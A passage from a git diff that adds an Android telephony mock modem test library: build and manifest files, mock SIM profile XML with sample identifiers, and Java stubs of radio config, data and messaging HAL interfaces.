+            if (ACTION_BIND_IMS_SERVICE.equals(intent.getAction())) {
+                if (ImsUtils.VDBG) {
+                    Log.i(TAG, "onBind-Remote");
+                }
+                mIsTelephonyBound = true;
+                return super.onBind(intent);
             }
-            return super.onBind(intent);
+            if (ImsUtils.VDBG) {
+                Log.i(TAG, "onBind-Local");
+            }
+            return mBinder;
         }
-        if (ImsUtils.VDBG) {
-            Log.i(TAG, "onBind-Local");
-        }
-        return mBinder;
     }
 }
diff --git a/tests/tests/telephony/current/mockmodem/Android.bp b/tests/tests/telephony/current/mockmodem/Android.bp
new file mode 100644
index 0000000..0e2a29a
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "android.telephony.mockmodem",
+    srcs: [
+        "src/**/*.java",
+        ":cts-telephony-utils",
+    ],
+    libs: [
+        "android-support-annotations",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "android.hardware.radio.config-V1-java",
+        "android.hardware.radio.modem-V1-java",
+        "android.hardware.radio.sim-V1-java",
+        "android.hardware.radio.network-V1-java",
+        "android.hardware.radio.data-V1-java",
+        "android.hardware.radio.messaging-V1-java",
+        "android.hardware.radio.voice-V1-java",
+    ],
+
+    min_sdk_version: "30",
+    platform_apis: true,
+}
diff --git a/tests/tests/telephony/current/mockmodem/AndroidManifest.xml b/tests/tests/telephony/current/mockmodem/AndroidManifest.xml
new file mode 100644
index 0000000..671794d
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.telephony.mockmodem">
+
+    <!-- Must be debuggable for compat shell commands to work on user builds -->
+    <application android:debuggable="true">
+        <service android:name="android.telephony.mockmodem.MockModemService"
+             android:directBootAware="true"
+             android:persistent="true"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.telephony.mockmodem.iradioconfig"/>
+                <action android:name="android.telephony.mockmodem.iradiomodem"/>
+                <action android:name="android.telephony.mockmodem.iradiosim"/>
+                <action android:name="android.telephony.mockmodem.iradionetwork"/>
+                <action android:name="android.telephony.mockmodem.iradiodata"/>
+                <action android:name="android.telephony.mockmodem.iradiomessaging"/>
+                <action android:name="android.telephony.mockmodem.iradiovoice"/>
+            </intent-filter>
+        </service>
+    </application>
+</manifest>
diff --git a/tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_cht.xml b/tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_cht.xml
new file mode 100644
index 0000000..426185a
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_cht.xml
@@ -0,0 +1,30 @@
+<MockSim numofapp="2" atr="3B9F96801FC78031E073FE2111634082918307900099">
+<MockSimProfile id="0" type="APPTYPE_USIM">
+    <PinProfile appstate="APPSTATE_READY">
+        <Pin1State>PINSTATE_DISABLED</Pin1State>
+        <Pin2State>PINSTATE_ENABLED_NOT_VERIFIED</Pin2State>
+    </PinProfile>
+
+    <FacilityLock>
+        <FD>LOCK_DISABLED</FD>
+        <SC>LOCK_DISABLED</SC>
+    </FacilityLock>
+
+    <MF name="MF" path="3F00">
+        <EFDIR name="ADF1" curr_active="true">A0000000871002F886FF9289050B00FE</EFDIR>
+    </MF>
+
+    <ADF aid="A0000000871002F886FF9289050B00FE">
+        <EF name="EF_IMSI" id="6F07" command="" mnc-digit="2">466920123456789</EF>
+        <EF name="EF_ICCID" id="2FE2" command="0xb0">89886920042507847155</EF>
+        <EF name="EF_ICCID" id="2FE2" command="0xc0">0000000A2FE2040000FFFF01020002</EF>
+    </ADF>
+</MockSimProfile>
+
+<MockSimProfile id="1" type="APPTYPE_ISIM">
+    <PinProfile appstate="APPSTATE_DETECTED">
+        <Pin1State>PINSTATE_DISABLED</Pin1State>
+        <Pin2State>PINSTATE_ENABLED_NOT_VERIFIED</Pin2State>
+    </PinProfile>
+</MockSimProfile>
+</MockSim>
\ No newline at end of file
diff --git a/tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_fet.xml b/tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_fet.xml
new file mode 100644
index 0000000..4463d88
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_fet.xml
@@ -0,0 +1,23 @@
+<MockSim numofapp="1" atr="3B9E95801FC78031E073FE211B66D001A0E50F0048">
+<MockSimProfile id="0" type="APPTYPE_USIM">
+    <PinProfile appstate="APPSTATE_READY">
+        <Pin1State>PINSTATE_DISABLED</Pin1State>
+        <Pin2State>PINSTATE_ENABLED_NOT_VERIFIED</Pin2State>
+    </PinProfile>
+
+    <FacilityLock>
+        <FD>LOCK_DISABLED</FD>
+        <SC>LOCK_DISABLED</SC>
+    </FacilityLock>
+
+    <MF name="MF" path="3F00">
+        <EFDIR name="ADF1" curr_active="true">A0000000871002FF33FFFF8901010100</EFDIR>
+    </MF>
+
+    <ADF aid="A0000000871002FF33FFFF8901010100">
+        <EF name="EF_IMSI" id="6F07" command="" mnc-digit="2">466011122334455</EF>
+        <EF name="EF_ICCID" id="2FE2" command="0xb0">89886021157300856597</EF>
+        <EF name="EF_ICCID" id="2FE2" command="0xc0">0000000A2FE2040000FFFF01020002</EF>
+    </ADF>
+</MockSimProfile>
+</MockSim>
\ No newline at end of file
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioConfigImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioConfigImpl.java
new file mode 100644
index 0000000..1eae358e
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioConfigImpl.java
@@ -0,0 +1,278 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import android.hardware.radio.RadioError;
+import android.hardware.radio.RadioIndicationType;
+import android.hardware.radio.RadioResponseInfo;
+import android.hardware.radio.config.IRadioConfig;
+import android.hardware.radio.config.IRadioConfigIndication;
+import android.hardware.radio.config.IRadioConfigResponse;
+import android.hardware.radio.config.PhoneCapability;
+import android.hardware.radio.config.SimSlotStatus;
+import android.hardware.radio.config.SlotPortMapping;
+import android.os.AsyncResult;
+import android.os.Handler;
+import android.os.Message;
+import android.os.RemoteException;
+import android.util.Log;
+
+public class IRadioConfigImpl extends IRadioConfig.Stub {
+    private static final String TAG = "MRCFG";
+
+    private final MockModemService mService;
+    private IRadioConfigResponse mRadioConfigResponse;
+    private IRadioConfigIndication mRadioConfigIndication;
+    private static MockModemConfigInterface[] sMockModemConfigInterfaces;
+    private Object mCacheUpdateMutex;
+    private final Handler mHandler;
+    private int mSubId;
+
+    // ***** Events
+    static final int EVENT_NUM_OF_LIVE_MODEM_CHANGED = 1;
+    static final int EVENT_PHONE_CAPABILITY_CHANGED = 2;
+    static final int EVENT_SIM_SLOT_STATUS_CHANGED = 3;
+
+    // ***** Cache of modem attributes/status
+    private int mSlotNum = 1;
+    private byte mNumOfLiveModems = 1;
+    private PhoneCapability mPhoneCapability = new PhoneCapability();
+    private SimSlotStatus[] mSimSlotStatus;
+
+    public IRadioConfigImpl(
+            MockModemService service, MockModemConfigInterface[] interfaces, int instanceId) {
+        Log.d(TAG, "Instantiated");
+
+        this.mService = service;
+        sMockModemConfigInterfaces = interfaces;
+        mSlotNum = mService.getNumPhysicalSlots();
+        mSimSlotStatus = new SimSlotStatus[mSlotNum];
+        mCacheUpdateMutex = new Object();
+        mHandler = new IRadioConfigHandler();
+        mSubId = instanceId;
+
+        // Register events
+        sMockModemConfigInterfaces[mSubId].registerForNumOfLiveModemChanged(
+                mHandler, EVENT_NUM_OF_LIVE_MODEM_CHANGED, null);
+        sMockModemConfigInterfaces[mSubId].registerForPhoneCapabilityChanged(
+                mHandler, EVENT_PHONE_CAPABILITY_CHANGED, null);
+        sMockModemConfigInterfaces[mSubId].registerForSimSlotStatusChanged(
+                mHandler, EVENT_SIM_SLOT_STATUS_CHANGED, null);
+    }
+
+    /** Handler class to handle callbacks */
+    private final class IRadioConfigHandler extends Handler {
+        @Override
+        public void handleMessage(Message msg) {
+            AsyncResult ar;
+            synchronized (mCacheUpdateMutex) {
+                switch (msg.what) {
+                    case EVENT_NUM_OF_LIVE_MODEM_CHANGED:
+                        Log.d(TAG, "Received EVENT_NUM_OF_LIVE_MODEM_CHANGED");
+                        ar = (AsyncResult) msg.obj;
+                        if (ar != null && ar.exception == null) {
+                            mNumOfLiveModems = (byte) ar.result;
+                            Log.i(TAG, "Number of live modem: " + mNumOfLiveModems);
+                        } else {
+                            Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
+                        }
+                        break;
+                    case EVENT_PHONE_CAPABILITY_CHANGED:
+                        Log.d(TAG, "Received EVENT_PHONE_CAPABILITY_CHANGED");
+                        ar = (AsyncResult) msg.obj;
+                        if (ar != null && ar.exception == null) {
+                            mPhoneCapability = (PhoneCapability) ar.result;
+                            Log.i(TAG, "Phone capability: " + mPhoneCapability);
+                        } else {
+                            Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
+                        }
+                        break;
+                    case EVENT_SIM_SLOT_STATUS_CHANGED:
+                        Log.d(TAG, "Received EVENT_SIM_SLOT_STATUS_CHANGED");
+                        ar = (AsyncResult) msg.obj;
+                        if (ar != null && ar.exception == null) {
+                            mSimSlotStatus = (SimSlotStatus[]) ar.result;
+                            for (int i = 0; i < mSlotNum; i++) {
+                                Log.i(TAG, "Sim slot status: " + mSimSlotStatus[i]);
+                            }
+                            unsolSimSlotsStatusChanged();
+                        } else {
+                            Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
+                        }
+                        break;
+                }
+            }
+        }
+    }
+
+    // Implementation of IRadioConfig functions
+    @Override
+    public void getHalDeviceCapabilities(int serial) {
+        Log.d(TAG, "getHalDeviceCapabilities");
+
+        boolean modemReducedFeatureSet1 = false;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioConfigResponse.getHalDeviceCapabilitiesResponse(rsp, modemReducedFeatureSet1);
+        } catch (RemoteException ex) {
+            Log.e(
+                    TAG,
+                    "Failed to invoke getHalDeviceCapabilitiesResponse from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getNumOfLiveModems(int serial) {
+        Log.d(TAG, "getNumOfLiveModems");
+        byte numoflivemodem;
+
+        synchronized (mCacheUpdateMutex) {
+            numoflivemodem = mNumOfLiveModems;
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioConfigResponse.getNumOfLiveModemsResponse(rsp, numoflivemodem);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to invoke getNumOfLiveModemsResponse from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getPhoneCapability(int serial) {
+        Log.d(TAG, "getPhoneCapability");
+        PhoneCapability phoneCapability;
+
+        synchronized (mCacheUpdateMutex) {
+            phoneCapability = mPhoneCapability;
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioConfigResponse.getPhoneCapabilityResponse(rsp, phoneCapability);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to invoke getPhoneCapabilityResponse from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getSimSlotsStatus(int serial) {
+        Log.d(TAG, "getSimSlotsStatus");
+        SimSlotStatus[] slotStatus;
+
+        synchronized (mCacheUpdateMutex) {
+            if (mSlotNum < 1) {
+                Log.d(TAG, "No slot information is retured.");
+                slotStatus = null;
+            } else {
+                slotStatus = mSimSlotStatus;
+            }
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioConfigResponse.getSimSlotsStatusResponse(rsp, slotStatus);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to invoke getSimSlotsStatusResponse from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setNumOfLiveModems(int serial, byte numOfLiveModems) {
+        Log.d(TAG, "setNumOfLiveModems");
+        // TODO: cache value
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioConfigResponse.setNumOfLiveModemsResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to invoke setNumOfLiveModemsResponse from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setPreferredDataModem(int serial, byte modemId) {
+        Log.d(TAG, "setPreferredDataModem");
+        // TODO: cache value
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioConfigResponse.setPreferredDataModemResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to invoke setPreferredDataModemResponse from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setResponseFunctions(
+            IRadioConfigResponse radioConfigResponse,
+            IRadioConfigIndication radioConfigIndication) {
+        Log.d(TAG, "setResponseFunctions");
+        mRadioConfigResponse = radioConfigResponse;
+        mRadioConfigIndication = radioConfigIndication;
+        mService.countDownLatch(MockModemService.LATCH_RADIO_INTERFACES_READY);
+    }
+
+    @Override
+    public void setSimSlotsMapping(int serial, SlotPortMapping[] slotMap) {
+        Log.d(TAG, "setSimSlotsMapping");
+        // TODO: cache value
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioConfigResponse.setSimSlotsMappingResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to invoke setSimSlotsMappingResponse from AIDL. Exception" + ex);
+        }
+    }
+
+    public void unsolSimSlotsStatusChanged() {
+        Log.d(TAG, "unsolSimSlotsStatusChanged");
+        SimSlotStatus[] slotStatus;
+
+        if (mRadioConfigIndication != null) {
+            synchronized (mCacheUpdateMutex) {
+                if (mSlotNum < 1) {
+                    Log.d(TAG, "No slot information is retured.");
+                    slotStatus = null;
+                } else {
+                    slotStatus = mSimSlotStatus;
+                }
+            }
+
+            try {
+                mRadioConfigIndication.simSlotsStatusChanged(
+                        RadioIndicationType.UNSOLICITED, slotStatus);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to invoke simSlotsStatusChanged from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioConfigIndication");
+        }
+    }
+
+    @Override
+    public String getInterfaceHash() {
+        return IRadioConfig.HASH;
+    }
+
+    @Override
+    public int getInterfaceVersion() {
+        return IRadioConfig.VERSION;
+    }
+}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioDataImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioDataImpl.java
new file mode 100644
index 0000000..86f1501
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioDataImpl.java
@@ -0,0 +1,255 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import android.hardware.radio.RadioError;
+import android.hardware.radio.RadioIndicationType;
+import android.hardware.radio.RadioResponseInfo;
+import android.hardware.radio.data.DataProfileInfo;
+import android.hardware.radio.data.IRadioData;
+import android.hardware.radio.data.IRadioDataIndication;
+import android.hardware.radio.data.IRadioDataResponse;
+import android.hardware.radio.data.KeepaliveRequest;
+import android.hardware.radio.data.LinkAddress;
+import android.hardware.radio.data.SliceInfo;
+import android.os.RemoteException;
+import android.util.Log;
+
+public class IRadioDataImpl extends IRadioData.Stub {
+    private static final String TAG = "MRDATA";
+
+    private final MockModemService mService;
+    private IRadioDataResponse mRadioDataResponse;
+    private IRadioDataIndication mRadioDataIndication;
+
+    public IRadioDataImpl(MockModemService service) {
+        Log.d(TAG, "Instantiated");
+
+        this.mService = service;
+    }
+
+    // Implementation of IRadioData functions
+    @Override
+    public void setResponseFunctions(
+            IRadioDataResponse radioDataResponse, IRadioDataIndication radioDataIndication) {
+        Log.d(TAG, "setResponseFunctions");
+        mRadioDataResponse = radioDataResponse;
+        mRadioDataIndication = radioDataIndication;
+        mService.countDownLatch(MockModemService.LATCH_RADIO_INTERFACES_READY);
+
+        unsolEmptyDataCallList();
+    }
+
+    @Override
+    public void allocatePduSessionId(int serial) {
+        Log.d(TAG, "allocatePduSessionId");
+        int id = 0;
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioDataResponse.allocatePduSessionIdResponse(rsp, id);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to allocatePduSessionId from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void cancelHandover(int serial, int callId) {
+        Log.d(TAG, "cancelHandover");
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioDataResponse.cancelHandoverResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to cancelHandover from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void deactivateDataCall(int serial, int cid, int reason) {
+        Log.d(TAG, "deactivateDataCall");
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioDataResponse.deactivateDataCallResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to deactivateDataCall from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getDataCallList(int serial) {
+        Log.d(TAG, "getDataCallList");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioDataResponse.getDataCallListResponse(rsp, null);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getDataCallList from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getSlicingConfig(int serial) {
+        Log.d(TAG, "getSlicingConfig");
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioDataResponse.getSlicingConfigResponse(rsp, null);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getSlicingConfig from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void releasePduSessionId(int serial, int id) {
+        Log.d(TAG, "releasePduSessionId");
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioDataResponse.releasePduSessionIdResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to releasePduSessionId from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void responseAcknowledgement() {
+        Log.d(TAG, "responseAcknowledgement");
+    }
+
+    @Override
+    public void setDataAllowed(int serial, boolean allow) {
+        Log.d(TAG, "setDataAllowed");
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioDataResponse.setDataAllowedResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setDataAllowed from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setDataProfile(int serial, DataProfileInfo[] profiles) {
+        Log.d(TAG, "setDataProfile");
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioDataResponse.setDataProfileResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setDataProfile from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setDataThrottling(
+            int serial, byte dataThrottlingAction, long completionDurationMillis) {
+        Log.d(TAG, "setDataThrottling");
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioDataResponse.setDataThrottlingResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setDataThrottling from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setInitialAttachApn(int serial, DataProfileInfo dataProfileInfo) {
+        Log.d(TAG, "setInitialAttachApn");
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioDataResponse.setInitialAttachApnResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setInitialAttachApn from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setupDataCall(
+            int serial,
+            int accessNetwork,
+            DataProfileInfo dataProfileInfo,
+            boolean roamingAllowed,
+            int reason,
+            LinkAddress[] addresses,
+            String[] dnses,
+            int pduSessionId,
+            SliceInfo sliceInfo,
+            boolean matchAllRuleAllowed) {
+        Log.d(TAG, "setupDataCall");
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioDataResponse.setupDataCallResponse(rsp, null);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setupDataCall from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void startHandover(int serial, int callId) {
+        Log.d(TAG, "startHandover");
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioDataResponse.startHandoverResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to startHandover from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void startKeepalive(int serial, KeepaliveRequest keepalive) {
+        Log.d(TAG, "startKeepalive");
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioDataResponse.startKeepaliveResponse(rsp, null);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to startKeepalive from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void stopKeepalive(int serial, int sessionHandle) {
+        Log.d(TAG, "stopKeepalive");
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioDataResponse.stopKeepaliveResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to stopKeepalive from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public String getInterfaceHash() {
+        return IRadioData.HASH;
+    }
+
+    @Override
+    public int getInterfaceVersion() {
+        return IRadioData.VERSION;
+    }
+
+    public void unsolEmptyDataCallList() {
+        Log.d(TAG, "unsolEmptyDataCallList");
+
+        if (mRadioDataIndication != null) {
+            android.hardware.radio.data.SetupDataCallResult[] dcList =
+                    new android.hardware.radio.data.SetupDataCallResult[0];
+
+            try {
+                mRadioDataIndication.dataCallListChanged(RadioIndicationType.UNSOLICITED, dcList);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to invoke dataCallListChanged change from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioDataIndication");
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java
new file mode 100644
index 0000000..87a5235
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java
@@ -0,0 +1,483 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import android.hardware.radio.RadioError;
+import android.hardware.radio.RadioIndicationType;
+import android.hardware.radio.RadioResponseInfo;
+import android.hardware.radio.messaging.IRadioMessaging;
+import android.hardware.radio.messaging.IRadioMessagingIndication;
+import android.hardware.radio.messaging.IRadioMessagingResponse;
+import android.os.RemoteException;
+import android.support.annotation.GuardedBy;
+import android.util.ArraySet;
+import android.util.Log;
+
+import java.util.Set;
+
+public class IRadioMessagingImpl extends IRadioMessaging.Stub {
+    private static final String TAG = "MRMSG";
+
+    private final MockModemService mService;
+    private IRadioMessagingResponse mRadioMessagingResponse;
+    private IRadioMessagingIndication mRadioMessagingIndication;
+    @GuardedBy("mGsmBroadcastConfigSet")
+    private final Set<Integer> mGsmBroadcastConfigSet = new ArraySet<Integer>();
+    @GuardedBy("mCdmaBroadcastConfigSet")
+    private final Set<Integer> mCdmaBroadcastConfigSet = new ArraySet<Integer>();
+
+    public IRadioMessagingImpl(MockModemService service) {
+        Log.d(TAG, "Instantiated");
+
+        this.mService = service;
+    }
+
+    // Implementation of IRadioMessaging functions
+    @Override
+    public void setResponseFunctions(
+            IRadioMessagingResponse radioMessagingResponse,
+            IRadioMessagingIndication radioMessagingIndication) {
+        Log.d(TAG, "setResponseFunctions");
+        mRadioMessagingResponse = radioMessagingResponse;
+        mRadioMessagingIndication = radioMessagingIndication;
+        mService.countDownLatch(MockModemService.LATCH_RADIO_INTERFACES_READY);
+    }
+
+    @Override
+    public void acknowledgeIncomingGsmSmsWithPdu(int serial, boolean success, String ackPdu) {
+        Log.d(TAG, "acknowledgeIncomingGsmSmsWithPdu");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.acknowledgeIncomingGsmSmsWithPduResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to acknowledgeIncomingGsmSmsWithPdu from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void acknowledgeLastIncomingCdmaSms(
+            int serial, android.hardware.radio.messaging.CdmaSmsAck smsAck) {
+        Log.d(TAG, "acknowledgeLastIncomingCdmaSms");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.acknowledgeLastIncomingCdmaSmsResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to acknowledgeLastIncomingCdmaSms from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void acknowledgeLastIncomingGsmSms(int serial, boolean success, int cause) {
+        Log.d(TAG, "acknowledgeLastIncomingGsmSms");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.acknowledgeLastIncomingGsmSmsResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to acknowledgeLastIncomingGsmSms from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void deleteSmsOnRuim(int serial, int index) {
+        Log.d(TAG, "deleteSmsOnRuim");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.deleteSmsOnRuimResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to deleteSmsOnRuim from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void deleteSmsOnSim(int serial, int index) {
+        Log.d(TAG, "deleteSmsOnSim");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.deleteSmsOnSimResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to deleteSmsOnSim from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
